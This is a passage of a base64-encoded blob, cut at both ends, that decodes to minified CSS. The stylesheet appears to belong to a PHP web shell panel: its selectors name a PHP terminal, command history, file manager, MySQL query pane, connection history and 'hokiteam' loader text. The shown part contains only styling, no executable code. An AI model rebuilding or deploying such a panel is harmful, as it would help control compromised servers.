kZjtmb250LXNpemU6MTJweDtmb250LWZhbWlseTpWZXJkYW5hLEdlbmV2YSxzYW5zLXNlcmlmfUAtbW96LWRvY3VtZW50IHVybC1wcmVmaXgoKXsjc2VhcmNoLWlucHV0e3dpZHRoOjE3M3B4fS5lZGl0b3ItcGF0aHt0b3A6M3B4fX0uZmlsdGVycy
1ob2xkZXJ7cGFkZGluZzo1cHg7cGFkZGluZy1sZWZ0OjEwcHh9LmZpbHRlcnMtaG9sZGVyIGlucHV0e3dpZHRoOjIwMHB4fS5maWx0ZXJzLWhvbGRlciBzcGFue2NvbG9yOiM4YmM3Zjd9I3JpZ2h0Y2xpY2tfbWVudXt3aWR0aDoxNzVweDt2aXNpY
mlsaXR5OmhpZGRlbjtvcGFjaXR5OjA7cG9zaXRpb246Zml4ZWQ7YmFja2dyb3VuZDojMGYzMDRhO2NvbG9yOiM1NTU7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtmb250LXNpemU6MTFweDstd2Via2l0LXRyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFz
ZS1pbi1vdXQ7LW1vei10cmFuc2l0aW9uOm9wYWNpdHkgLjVzIGVhc2UtaW4tb3V0Oy1tcy10cmFuc2l0aW9uOm9wYWNpdHkgLjVzIGVhc2UtaW4tb3V0Oy1vLXRyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFzZS1pbi1vdXQ7dHJhbnNpdGlvbjpvcGF
jaXR5IC41cyBlYXNlLWluLW91dDstd2Via2l0LWJveC1zaGFkb3c6LTFweCAwIDE3cHggMCAjOGI4YjhjOy1tb3otYm94LXNoYWRvdzotMXB4IDAgMTdweCAwICM4YjhiOGM7Ym94LXNoYWRvdzotMXB4IDAgMTdweCAwICM4YjhiOGM7cGFkZGluZz
owO2JvcmRlcjoxcHggc29saWQgIzczNzM3Mztib3JkZXItcmFkaXVzOjEwcHh9I3JpZ2h0Y2xpY2tfbWVudSBhe2Rpc3BsYXk6YmxvY2s7Y29sb3I6I2ZmZjtmb250LXdlaWdodDpib2xkZXI7dGV4dC1kZWNvcmF0aW9uOm5vbmU7cGFkZGluZzo2c
HggOHB4IDZweCAzMHB4O3Bvc2l0aW9uOnJlbGF0aXZlO3BhZGRpbmctbGVmdDo0MHB4fSNyaWdodGNsaWNrX21lbnUgYSBpLmZhLCNyaWdodGNsaWNrX21lbnUgYSBpbWd7aGVpZ2h0OjIwcHg7Zm9udC1zaXplOjE3cHg7d2lkdGg6MjBweDtwb3Np
dGlvbjphYnNvbHV0ZTtsZWZ0OjVweDt0b3A6MnB4O3BhZGRpbmctbGVmdDo1cHh9I3JpZ2h0Y2xpY2tfbWVudSBhIHNwYW57Y29sb3I6I2JjYjFiMztmbG9hdDpyaWdodH0jcmlnaHRjbGlja19tZW51IGE6aG92ZXJ7Y29sb3I6I2ZmZjtiYWNrZ3J
vdW5kOiMzODc5ZDl9I3JpZ2h0Y2xpY2tfbWVudSBocntib3JkZXI6MXB4IHNvbGlkICNlYmViZWI7Ym9yZGVyLWJvdHRvbTowfS5jbC1wb3B1cC1maXhlZHtwb3NpdGlvbjpmaXhlZDt0b3A6MDtsZWZ0OjA7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJT
tiYWNrZ3JvdW5kOiMyMDFlMWVhZH0jc2hvcnRjdXRNZW51LWhvbGRlcntwb3NpdGlvbjphYnNvbHV0ZTt0b3A6NDAlO2xlZnQ6NTAlO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTtiYWNrZ3JvdW5kOiMxZjFlMWVkYjtoZWlnaHQ6MTkwc
Hg7d2lkdGg6NTAwcHg7Y29sb3I6I2ZmZn0jc2hvcnRjdXRNZW51LWhvbGRlcj4ucG9wdXAtaGVhZHtiYWNrZ3JvdW5kOiMyMDcxNzQ7cGFkZGluZzo2cHg7Ym9yZGVyLXRvcDoxMHB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtZmFtaWx5OnNhbnMt
c2VyaWY7Y29sb3I6I2ZmZn0jc2hvcnRjdXRNZW51LWhvbGRlcj5mb3Jte3BhZGRpbmc6MTBweH0jc2hvcnRjdXRNZW51LWhvbGRlcj5mb3JtPmxhYmVse2Rpc3BsYXk6YmxvY2t9I3Nob3J0Y3V0TWVudS1ob2xkZXI+Zm9ybT5pbnB1dHt3aWR0aDo
5OSU7aGVpZ2h0OjI0cHg7bWFyZ2luLXRvcDo0cHg7Y29sb3I6I2ZmZjtvdXRsaW5lOjA7Zm9udC1zaXplOjE2cHh9I3Nob3J0Y3V0TWVudS1ob2xkZXI+LnBvcHVwLWZvb3R7ZmxvYXQ6cmlnaHQ7aGVpZ2h0OjMwcHg7bWFyZ2luLXJpZ2h0OjhweH
0jc2hvcnRjdXRNZW51LWhvbGRlcj4ucG9wdXAtZm9vdD5idXR0b257aGVpZ2h0OjEwMCU7Y3Vyc29yOnBvaW50ZXI7Y29sb3I6I2ZmZjtvdXRsaW5lOjB9LnBocC10ZXJtaW5hbC1vdXRwdXR7b3ZlcmZsb3c6YXV0bztoZWlnaHQ6ODYlO2JvcmRlc
joxcHggc29saWQgIzFlNTY3Mztib3JkZXItcmFkaXVzOjEwcHh9LmNtZC1oaXN0b3J5LWhvbGRlcnt2aXNpYmlsaXR5OmhpZGRlbjtvcGFjaXR5OjA7cG9zaXRpb246YWJzb2x1dGU7Y29sb3I6I2RmZjNkNTtiYWNrZ3JvdW5kOiMwOTNkNTg7dG9w
Oi0zMDBweDtoZWlnaHQ6MzAwcHg7d2lkdGg6Y2FsYyg2OSUgKyAtMTFweCk7Ym9yZGVyLXJhZGl1czoxMHB4IDEwcHggMCAwO2xlZnQ6Y2FsYygyJSAtIDlweCk7dHJhbnNpdGlvbjp2aXNpYmlsaXR5IC41cyxvcGFjaXR5IC41cyBsaW5lYXJ9LmN
tZC1oaXN0b3J5LWhvbGRlciAuY29tbWFuZHMtaGlzdG9yeS1oZWFkZXJ7YmFja2dyb3VuZDojMzc1MDRlO3RleHQtYWxpZ246Y2VudGVyO2JvcmRlci1yYWRpdXM6MTBweCAxMHB4IDAgMH0uY21kLWhpc3RvcnktaWNvbnt3aWR0aDoyN3B4O3RvcD
o2cHg7bGVmdDpjYWxjKDY5JSArIDVweCk7cG9zaXRpb246YWJzb2x1dGU7Y3Vyc29yOnBvaW50ZXJ9Lmhpc3RvcnktY21kLWxpbmV7cGFkZGluZzo0cHg7Ym9yZGVyLWJvdHRvbToxcHggZGFzaGVkO2N1cnNvcjpwb2ludGVyfS5oaXN0b3J5LWNtZ
C1saW5lOmhvdmVye2JhY2tncm91bmQ6Izk2MTExMX0jbXlVTCwjbXlVTCB1bHtsaXN0LXN0eWxlLXR5cGU6bm9uZX0jbXlVTHttYXJnaW46MDtwYWRkaW5nOjB9LmJveHtjdXJzb3I6cG9pbnRlcjstd2Via2l0LXVzZXItc2VsZWN0Om5vbmU7LW1v
ei11c2VyLXNlbGVjdDpub25lOy1tcy11c2VyLXNlbGVjdDpub25lO3VzZXItc2VsZWN0Om5vbmV9LmJveDo6YmVmb3Jle2NvbnRlbnQ6IlwyNjEwIjtjb2xvcjojMDAwO2Rpc3BsYXk6aW5saW5lLWJsb2NrO21hcmdpbi1yaWdodDo2cHh9LmNoZWN
rLWJveDo6YmVmb3Jle2NvbnRlbnQ6IlwyNjExIjtjb2xvcjojMWU5MGZmfS5uZXN0ZWR7ZGlzcGxheTpub25lfS5hY3RpdmV7ZGlzcGxheTpibG9ja30uZmxhZy1ob2xkZXI+aW1ne3dpZHRoOjIwcHg7dmVydGljYWwtYWxpZ246bWlkZGxlO3BhZG
RpbmctbGVmdDo2cHh9I29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX2hvbGRlcntwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5Om5vbmU7b3ZlcmZsb3c6YXV0bzttaW4taGVpZ2h0OjMwMHB4O21heC1oZWlna
HQ6Y2FsYygxMDB2aCAtIDEwMHB4KX0jb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfaG9sZGVyIC5oZWFkZXJ7bWluLWhlaWdodDo1MHZofSNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRl
ciAub3B0aW9uc19ob2xkZXIub3B0aW9uX2lzX2FjdGl2ZXtkaXNwbGF5OmJsb2NrfSNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWJ7cGFkZGluZzo1cHg7bWFyZ2luLWxlZnQ6MTRweDttYXJnaW4tcml
naHQ6MzBweDtiYWNrZ3JvdW5kOiMwMDA7Ym9yZGVyLWJvdHRvbTo3cHggc29saWQgIzBmMzA0YTtib3JkZXItbGVmdDo3cHggc29saWQgIzBmMzA0YTtib3JkZXItcmlnaHQ6N3B4IHNvbGlkICMwZjMwNGE7b3ZlcmZsb3cteDphdXRvO3doaXRlLX
NwYWNlOm5vd3JhcH0jZmlsZXNtYW5fdGFicyAuZmlsZXNtYW5fdGFiIGltZywjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfdGFiIC50YWJfbmFtZSBpbWcsLmVkaXRvci10YWItbmFtZSBpbWcsLnNxbC10Y
WJzIC5zcWwtdGFibmFtZSBpbWcsLnRlcm1pbmFsLXRhYnMgLnRlcm1pbmFsLXRhYiBpbWd7d2lkdGg6MTBweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7bWFyZ2luLWxlZnQ6NXB4fSNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWIsI29wdGlvbnNf
d2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiAudGFiX25hbWUsLmVkaXRvci10YWItbmFtZSwuc3FsLXRhYnMgLnNxbC1uZXd0YWIsLnNxbC10YWJzIC5zcWwtdGFibmFtZSwudGVybWluYWwtdGFicyAudGVybWluYWw
tdGFie2Rpc3BsYXk6aW5saW5lLWJsb2NrO2JhY2tncm91bmQtY29sb3I6IzEzM2Q1MTtib3JkZXItcmFkaXVzOjRweDtwYWRkaW5nOjVweDtjb2xvcjojZmZmO21hcmdpbi1yaWdodDozcHg7cGFkZGluZzo1cHg7Y3Vyc29yOnBvaW50ZXI7bWFyZ2
luLWJvdHRvbToxcHg7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kLWNvbG9yIC41c30jZmlsZXNtYW5fdGFicyAuZmlsZXNtYW5fdGFie21pbi13aWR0aDo1NXB4O3RleHQtYWxpZ246Y2VudGVyfSNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWI6aG92Z
XIsI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiAudGFiX25hbWU6aG92ZXIsLmVkaXRvci10YWItbmFtZTpob3Zlciwuc3FsLXRhYnMgLnNxbC10YWJuYW1lOmhvdmVyLC50ZXJtaW5hbC10YWJzIC50
ZXJtaW5hbC10YWI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojYTIzOTM5fS5lZGl0b3ItdGFicywuc3FsLXRhYnMsLnRlcm1pbmFsLXRhYnN7cGFkZGluZzo1cHg7b3ZlcmZsb3cteDphdXRvO3doaXRlLXNwYWNlOm5vd3JhcH0ub3B0aW9ucy1sb2F
kZXItaG9sZGVye3Bvc2l0aW9uOmFic29sdXRlO3RvcDowO2xlZnQ6MDt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO2JhY2tncm91bmQ6IzJiMjYyNmM3O3otaW5kZXg6MTF9Lm9wdGlvbnMtbG9hZGVyLWhvbGRlciBpbWd7cG9zaXRpb246YWJzb2x1dG
U7dG9wOjMyJTtsZWZ0OjQ1JTt0cmFuc2Zvcm06dHJhbnNsYXRlKC01MCUsLTUwJSk7d2lkdGg6MTAwcHg7YW5pbWF0aW9uOnNwaW4gMnMgaW5maW5pdGV9I2ZpbGVzbWFuX3RhYnMgLmZpbGVzbWFuX3RhYi5maWxlc21hbi10YWItYWN0aXZlLCNvc
HRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWIgLnRhYl9uYW1lLnRhYl9pc19hY3RpdmUsLmVkaXRvci10YWItbmFtZS5lZGl0b3ItdGFiLWFjdGl2ZSwuc3FsLXRhYm5hbWUuc3FsLWFjdGl2ZS10YWIsLnRl
cm1pbmFsLXRhYi5hY3RpdmUtdGVybWluYWwtdGFie2JhY2tncm91bmQtY29sb3I6IzAwOTY4OH0udGFiLWlzLWRvbmV7YW5pbWF0aW9uOjJzIHRhYl9jaGFuZ2VfY29sb3IgaW5maW5pdGUgc3RlcC1lbmR9LnN0b3BBamF4e2NvbG9yOiNmZmY7Zm9
udC1zaXplOjIwcHg7ZGlzcGxheTppbmxpbmUtYmxvY2s7cGFkZGluZzoxMHB4O2N1cnNvcjpwb2ludGVyfSNhX2xvYWRlcntkaXNwbGF5Om5vbmU7cG9zaXRpb246Zml4ZWQ7dG9wOjA7bGVmdDowO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7YmFja2
dyb3VuZDojMmIyNjI2Yzc7ei1pbmRleDo5OX0uZm1hbmFnZXItcm93PnRke3Bvc2l0aW9uOnJlbGF0aXZlfS5mbWFuYWdlci1yb3cgLnN5bWxpbmtfcGF0aHtwb3NpdGlvbjpmaXhlZDttYXgtd2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiMwZ
jMwNGE7Ym9yZGVyLXJhZGl1czoxMHB4O2ZvbnQtc2l6ZToxNXB4O3BhZGRpbmc6OHB4O2NvbG9yOiNmZGY0ZjQ7Ym9yZGVyOjFweCBzb2xpZCAjOGE4YThhO3otaW5kZXg6MTtwb2ludGVyLWV2ZW50czpub25lfS5hcmNoaXZlLWljb25ze3ZlcnRp
Y2FsLWFsaWduOm1pZGRsZX0uYXJjaGl2ZS10eXBlLWRpcntmb250LXdlaWdodDpib2xkZXJ9LmFyY2hpdmUtdHlwZS1maWxle2ZvbnQtd2VpZ2h0OnVuc2V0fS5hcmNoaXZlLW5hbWV7Y3Vyc29yOnBvaW50ZXJ9LmFyY2hpdmVfZGlyX2hvbGRlciB
he2NvbG9yOiMwZjA7Zm9udC13ZWlnaHQ6Ym9sZGVyO2N1cnNvcjpwb2ludGVyfS5hcmNoaXZlX2Rpcl9ob2xkZXIgYTpob3Zlcntjb2xvcjojZmZmfS5lZGl0b3ItY29udGVudHtoZWlnaHQ6MTAwJX0uZWRpdG9yLWNvbnRlbnQtaG9sZGVye2hlaW
dodDo5MCV9LmVkaXRvci1jb250ZW50c3tkaXNwbGF5Om5vbmU7cG9zaXRpb246cmVsYXRpdmU7aGVpZ2h0OjEwMCV9LmVkaXRvci1jb250ZW50cy5lZGl0b3ItY29udGVudC1hY3RpdmV7ZGlzcGxheTpibG9ja30uaGlzdG9yeS1wYW5lbC1jb250c
m9sbGVye3Bvc2l0aW9uOmFic29sdXRlO2NvbG9yOiNmZmY7cGFkZGluZzoxMHB4O3otaW5kZXg6MTAwMDtib3JkZXItcmFkaXVzOjEwcHg7dG9wOjUwJTtsZWZ0OjE5JTtiYWNrZ3JvdW5kLWNvbG9yOiMwMDk2ODc7Y3Vyc29yOnBvaW50ZXJ9LnNx
bC1jb250ZW50e2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjpyZWxhdGl2ZTttaW4taGVpZ2h0OjMwMHB4fS5zcWwtY29udGVudC5zcWwtYWN0aXZlLWNvbnRlbnR7ZGlzcGxheTpibG9ja30ucGFnZXMtaG9sZGVye3BhZGRpbmc6N3B4fS5wYWdlcy1udW1
iZXJ7ZGlzcGxheTppbmxpbmUtYmxvY2s7bWFyZ2luLWxlZnQ6MTBweH0ucGFnZXMtaG9sZGVyIC5wYWdlcy1udW1iZXIgYS5wYWdlLW51bWJlcntwYWRkaW5nOjVweDtiYWNrZ3JvdW5kOiMwZjMwNGE7bWFyZ2luLXJpZ2h0OjhweDtjdXJzb3I6cG
9pbnRlcjt3aWR0aDozM3B4O2Rpc3BsYXk6aW5saW5lLWJsb2NrO3RleHQtYWxpZ246Y2VudGVyO2JvcmRlci1yYWRpdXM6NXB4O2NvbG9yOiNmZmY7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kIC41c30uYWN0aXZlLXBhZ2UtbnVtYmVye2JhY2tncm91b
mQ6IzEwOTI1YyFpbXBvcnRhbnR9LnBhZ2VzLW51bWJlciBhLnBhZ2UtbnVtYmVyOmhvdmVye2JhY2tncm91bmQ6IzhhOGE4YX0udGVybWluYWwtY29udGVudHtoZWlnaHQ6MTAwJX0udGVybWluYWwtY29udGVudCwudGVybWluYWwtdGFie2Rpc3Bs
YXk6bm9uZX0udGVybWluYWwtY29udGVudC5hY3RpdmUtdGVybWluYWwtY29udGVudHtkaXNwbGF5OmJsb2NrO3Bvc2l0aW9uOnJlbGF0aXZlfS50ZXJtaW5hbC1idG4tZm9udGN0bHtiYWNrZ3JvdW5kOiMwMDk2ODg7d2lkdGg6NTBweDtjb2xvcjo
jZmZmO2ZvbnQtd2VpZ2h0OmJvbGRlcjtvdXRsaW5lOjA7Y3Vyc29yOnBvaW50ZXJ9LmFsZXJ0LWFyZWF7bWF4LWhlaWdodDoxMDAlO3Bvc2l0aW9uOmZpeGVkO2JvdHRvbTo1cHg7bGVmdDoyMHB4O3JpZ2h0OjIwcHg7ei1pbmRleDo5OTk5fS5hbG
VydC1ib3h7Zm9udC1zaXplOjE2cHg7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kOnJnYmEoMCwwLDAsLjkpO2xpbmUtaGVpZ2h0OjEuM2VtO3BhZGRpbmc6MTBweCAxNXB4O21hcmdpbjo1cHggMTBweDtwb3NpdGlvbjpyZWxhdGl2ZTtib3JkZXItcmFka
XVzOjVweDt0cmFuc2l0aW9uOm9wYWNpdHkgLjVzIGVhc2UtaW47LXdlYmtpdC1hbmltYXRpb246YWxlcnQtc2hha2UgLjVzIGVhc2UtaW4tb3V0O2FuaW1hdGlvbjphbGVydC1zaGFrZSAuNXMgZWFzZS1pbi1vdXR9LmFsZXJ0LWNvbnRlbnQtdGl0
bGV7Zm9udC13ZWlnaHQ6NzAwfS5hbGVydC1ib3guYWxlcnQtc3VjY2Vzc3tiYWNrZ3JvdW5kOnJnYmEoNTYsMTI3LDU2LC44OSl9LmFsZXJ0LWVycm9ye2JhY2tncm91bmQ6cmdiYSgxOTEsNTQsNTQsLjg5KX0uYWxlcnQtYm94LmhpZGV7b3BhY2l
0eTowfS5hbGVydC1jbG9zZXtiYWNrZ3JvdW5kOjAgMDt3aWR0aDoxMnB4O2hlaWdodDoxMnB4O3Bvc2l0aW9uOmFic29sdXRlO3RvcDoxNXB4O3JpZ2h0OjE1cHh9LmFsZXJ0LWNsb3NlOmFmdGVyLC5hbGVydC1jbG9zZTpiZWZvcmV7Y29udGVudD
oiIjt3aWR0aDoxNXB4O2JvcmRlci10b3A6c29saWQgMnB4ICNmZmY7cG9zaXRpb246YWJzb2x1dGU7dG9wOjVweDtyaWdodDotMXB4O2Rpc3BsYXk6YmxvY2t9LmFsZXJ0LWNsb3NlOmJlZm9yZXt0cmFuc2Zvcm06cm90YXRlKDQ1ZGVnKX0uYWxlc
nQtY2xvc2U6YWZ0ZXJ7dHJhbnNmb3JtOnJvdGF0ZSgxMzVkZWcpfS5hbGVydC1jbG9zZTpob3ZlcjphZnRlciwuYWxlcnQtY2xvc2U6aG92ZXI6YmVmb3Jle2JvcmRlci10b3A6c29saWQgMnB4ICNkOGQ4ZDh9QG1lZGlhIChtYXgtd2lkdGg6NzY3
cHgpIGFuZCAobWluLXdpZHRoOjQ4MXB4KXsuYWxlcnQtYXJlYXtsZWZ0OjEwMHB4O3JpZ2h0OjEwMHB4fX1AbWVkaWEgKG1pbi13aWR0aDo3NjhweCl7LmFsZXJ0LWFyZWF7d2lkdGg6MzUwcHg7bGVmdDphdXRvO3JpZ2h0OjA7ei1pbmRleDo5OTk
5fX1Aa2V5ZnJhbWVzIHRhYl9jaGFuZ2VfY29sb3J7MCV7YmFja2dyb3VuZC1jb2xvcjojMTMzZDUxfTUwJXtiYWNrZ3JvdW5kLWNvbG9yOmdyZWVufX1ALXdlYmtpdC1rZXlmcmFtZXMgYWxlcnQtc2hha2V7MCV7LXdlYmtpdC10cmFuc2Zvcm06dH
JhbnNsYXRlWCgwKX0yMCV7LXdlYmtpdC10cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTBweCl9NDAley13ZWJraXQtdHJhbnNmb3JtOnRyYW5zbGF0ZVgoMTBweCl9NjAley13ZWJraXQtdHJhbnNmb3JtOnRyYW5zbGF0ZVgoLTEwcHgpfTgwJXstd2Via
2l0LXRyYW5zZm9ybTp0cmFuc2xhdGVYKDEwcHgpfTEwMCV7LXdlYmtpdC10cmFuc2Zvcm06dHJhbnNsYXRlWCgwKX19QGtleWZyYW1lcyBhbGVydC1zaGFrZXswJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgwKX0yMCV7dHJhbnNmb3JtOnRyYW5zbGF0
ZVgoLTEwcHgpfTQwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgxMHB4KX02MCV7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoLTEwcHgpfTgwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgxMHB4KX0xMDAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKDApfX0udGV4dEV
mZmVjdHtwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDo1MDBweDt0b3A6LTEwcHg7YW5pbWF0aW9uOmFsZXJ0LXNoYWtlIC41cyBlYXNlLWluLW91dDthbmltYXRpb24taXRlcmF0aW9uLWNvdW50OjJ9Lmhva2l0ZWFtLWxvYWRlci10ZXh0e3Bvc2l0aW
9uOmFic29sdXRlO2NvbG9yOiM0NmJiNDU7dG9wOjIzJTtsZWZ0OjQ5JTt0cmFuc2Zvcm06dHJhbnNsYXRlKC01MCUsLTUwJSk7Zm9udC1zaXplOjQwcHg7bGV0dGVyLXNwYWNpbmc6N3B4fS5ob2tpLWFqYXgtZXJyb3J7cG9zaXRpb246YWJzb2x1d
GU7Y29sb3I6I2ZmMGEwYTt0b3A6NTAlO2xlZnQ6NTAlO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTtmb250LXNpemU6MzBweH0uY29ubmVjdGlvbi1oaXN0LXRhYmxle21hcmdpbi1sZWZ0OmF1dG87bWFyZ2luLXJpZ2h0OmF1dG87dGV4
dC1hbGlnbjpqdXN0aWZ5O2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZX0uY29ubmVjdGlvbi1oaXN0LXRhYmxlIHRkLC5jb25uZWN0aW9uLWhpc3QtdGFibGUgdGh7Ym9yZGVyOjFweCBzb2xpZCAjZGRkO3RleHQtYWxpZ246bGVmdDtwYWRkaW5nOjh
weH0uY29ubmVjdGlvbi1oaXMtYnRue21hcmdpbi1ib3R0b206MTBweDtwYWRkaW5nOjVweDtiYWNrZ3JvdW5kOiMyMDY5MjA7Y29sb3I6I2ZmZjtib3JkZXI6bm9uZTtvdXRsaW5lOjA7Y3Vyc29yOnBvaW50ZXI7Zm9udC13ZWlnaHQ6NzAwO3RyYW
5zaXRpb246YmFja2dyb3VuZCAuM3N9LmNvbm5lY3Rpb24taGlzLWJ0bi5jb25uZWN0aW9uLWRlbGV0ZXttYXJnaW46dW5zZXQ7cGFkZGluZzo1cHg7YmFja2dyb3VuZDpyZWQ7d2lkdGg6MzNweDtib3JkZXItcmFkaXVzOjNweDt0cmFuc2l0aW9uO
mJhY2tncm91bmQgLjNzfS5jb25uZWN0aW9uLWRlbGV0ZTpob3ZlcntiYWNrZ3JvdW5kOiNmNTY5NjkhaW1wb3J0YW50fS5jb25uZWN0aW9uLWhpcy1idG46aG92ZXJ7YmFja2dyb3VuZDojMzBiMzMwfSN1cF9iYXJfaG9sZGVye3Bvc2l0aW9uOmZp
eGVkO3otaW5kZXg6MTAwMDAwO3dpZHRoOjEwMCV9I2ZpbGVzbWFuX3RhYnN7cGFkZGluZzo4cHg7Ym9yZGVyOjFweCBzb2xpZCAjMGUzMDRhO2NvbG9yOiM2N2FiZGY7b3ZlcmZsb3cteDphdXRvO3doaXRlLXNwYWNlOm5vd3JhcH0uc29ydGFibGU
tZ2hvc3R7b3BhY2l0eTouNTtiYWNrZ3JvdW5kOiNjOGViZmJ9LmZvbGRlci10YWItaWNvbnt3aWR0aDoxNnB4IWltcG9ydGFudH0jZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aHtkaXNwbGF5Om5vbmU7cG9zaXRpb246YWJzb2x1dGU7cG9pbnRlci1ldm
VudHM6bm9uZTtiYWNrZ3JvdW5kOiMxNjM3NDY7cGFkZGluZzo3cHg7Y29sb3I6IzBmMDtib3JkZXItcmFkaXVzOjEwcHg7bWluLXdpZHRoOjU4cHg7ei1pbmRleDoxMH0jZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aDo6YWZ0ZXJ7Y29udGVudDoiIjtwb
3NpdGlvbjphYnNvbHV0ZTt0b3A6MTAwJTtsZWZ0OjM1cHg7bWFyZ2luLWxlZnQ6LTVweDtib3JkZXItd2lkdGg6NXB4O2JvcmRlci1zdHlsZTpzb2xpZDtwb2ludGVyLWV2ZW50czpub25lO2JvcmRlci1jb2xvcjojMTYzNzQ2IHRyYW5zcGFyZW50
IHRyYW5zcGFyZW50IHRyYW5zcGFyZW50fS5teXNxbC1tYWlue2hlaWdodDo4NHZoO3Bvc2l0aW9uOnJlbGF0aXZlfS5teXNxbC1oaWRlLWNvbnRlbnR7ZGlzcGxheTpub25lfS5teXNxbC1xdWVyeS1yZXN1bHQtdGFic3ttYXJnaW4tYm90dG9tOjE
wcHg7cGFkZGluZzozcHg7Ym9yZGVyLWJvdHRvbTo0cHggc29saWQgIzBmMzA0YX0ubXlzcWwtbWFpbiAudGFibGVzLXBhbmVsLWN0bHtwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjojZmZmO3BhZGRpbmc6MTBweDt6LWluZGV4OjE7Ym9yZGVyLXJhZG
l1czoxMHB4O3RvcDo0NSU7bGVmdDpjYWxjKDE3JSArIDEwcHgpO2JhY2tncm91bmQtY29sb3I6IzAwOTY4NztjdXJzb3I6cG9pbnRlcn0udGFibGVzLXBhbmVsLWN0bC1taW57bGVmdDotMjFweCFpbXBvcnRhbnR9Lm15c3FsLXF1ZXJ5LXJlc3Vsd
C10YWJzIGRpdntkaXNwbGF5OmlubGluZS1ibG9jaztwYWRkaW5nOjVweDttYXJnaW4tcmlnaHQ6MnB4O2JhY2tncm91bmQ6IzEzM2Q1MTtjb2xvcjojZmZmO2N1cnNvcjpwb2ludGVyO3RyYW5zaXRpb246YmFja2dyb3VuZC1jb2xvciAuNXN9Lm15
c3FsLXF1ZXJ5LXJlc3VsdC10YWJzIGRpdjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNhMjM5Mzl9Lm15c3FsLXF1ZXJ5LXJlc3VsdC10YWJzIGRpdi5teXNxbC1xdWVyeS1zZWxlY3RlZC10YWJ7YmFja2dyb3VuZDpyZWR9dGFibGUgdHIudGJsX3J
vdzpudGgtY2hpbGQob2RkKXtiYWNrZ3JvdW5kOiM0MjQwNDB9Lm15c3FsLXRhYmxlcyAudGFibGVzLXJvd3ttYXJnaW4tbGVmdDoyNnB4fS5teXNxbC1tYWluIC5teXNxbC1xdWVyeS1yZXN1bHRzLC5teXNxbC1tYWluIC5teXNxbC10YWJsZXN7Zm
xvYXQ6bGVmdDtoZWlnaHQ6MTAwJTtvdmVyZmxvdzphdXRvfS5teXNxbC1tYWluIC5teXNxbC1xdWVyeS1yZXN1bHRze3dpZHRoOmNhbGMoODAlICsgNHB4KTttYXJnaW4tbGVmdDo1cHg7cG9zaXRpb246cmVsYXRpdmU7b3ZlcmZsb3c6dW5zZXR9L
m15c3FsLW1haW4gLm15c3FsLXF1ZXJ5LXJlc3VsdHMtZml4ZWR7d2lkdGg6MTAwJX0ubXlzcWwtbWFpbiAubXlzcWwtcXVlcnktcmVzdWx0cyAubXlzcWwtcXVlcnktY29udGVudHtoZWlnaHQ6ODklO292ZXJmbG93OmF1dG99Lm15c3FsLXF1ZXJ5
LXRhYi1oaWRle2hlaWdodDowIWltcG9ydGFudDtwYWRkaW5nOjAhaW1wb3J0YW50fS5teXNxbC1tYWluIC5teXNxbC10YWJsZXN7d2lkdGg6MTklO2JvcmRlci1yaWdodDo0cHggc29saWQgIzBlMzA0YX0ubXlzcWwtbWFpbiB0YWJsZSB0ZHt2ZXJ
0aWNhbC1hbGlnbjp0b3B9Lm15c3FsLW1haW4gLm15c3FsLXNlYXJjaC1hcmVhIHRhYmxlIHRke3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtwYWRkaW5nOjdweH0ubXlzcWwtdGFibGVzIC5ibG9ja3twb3NpdGlvbjpyZWxhdGl2ZTt3aWR0aDoxLjVlbT
toZWlnaHQ6MS41ZW07bWluLXdpZHRoOjE2cHg7bWluLWhlaWdodDoxNnB4O2Zsb2F0OmxlZnR9Lm15c3FsLXRhYmxlcyBkaXYuYmxvY2sgYiwubXlzcWwtdGFibGVzIGRpdi5ibG9jayBpe3dpZHRoOjEuNWVtO2hlaWdodDoxLjdlbTttaW4td2lkd
